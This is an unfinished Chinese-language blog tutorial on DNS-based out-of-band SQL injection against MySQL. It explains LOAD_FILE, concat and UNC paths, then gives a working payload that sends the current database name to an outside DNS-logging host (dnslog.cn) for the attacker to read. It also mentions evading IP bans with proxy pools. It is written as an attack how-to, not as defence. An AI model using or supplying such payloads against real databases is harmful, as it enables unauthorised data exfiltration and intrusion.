MySql注入—DNS注入
MySql注入—DNS注入
1、DNS注入原理
一、DNS注入原理
DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据
对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,
或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池
先来个 知识扫盲:
1、MySQL 有个属性 secure_file_priv 它有三种状态
secure_file_priv= ,没有任何限制
当secure_file_priv=指定文件夹,只能导出或写入指定文件夹
secure_file_priv=NULL,不允许导入导出
在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改
Windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项
2、MySQL读取文件的函数:LOAD_FILE()
读取文件并返回文件的内容,内容为字符串
使用此函数满足的必要条件:
1)文件必须位于服务器主机上
2)必须指定文件的完整路径
3)有file权限
4)该文件所有字节可读
以上任一条件不满足,则返回NULL
PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv= 才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了
3、concat() 函数
拼接字符串,用传入要拼接的各个字符串用逗号隔开
concat('abc','de','fg') >>> abcdefg
4、UNC路径
我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧
什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称
写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用
OK,,
select load_file(concat('//','注入语句','DNS域名'))
这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答
DNS域名获取去一个网站 dnslog.cn
获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成
比如我们获取了一个域名:p.dnslog.cn
注入语句可以这么写
load_file(concat('//',(database()),'.p.dnslog.cn/abc'))
这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,
返回的值就是 >>> 当前数据库.p.dnslog.cn
我们是不是可以用其他 注入语句呢,,of course
这是半个博客,抱歉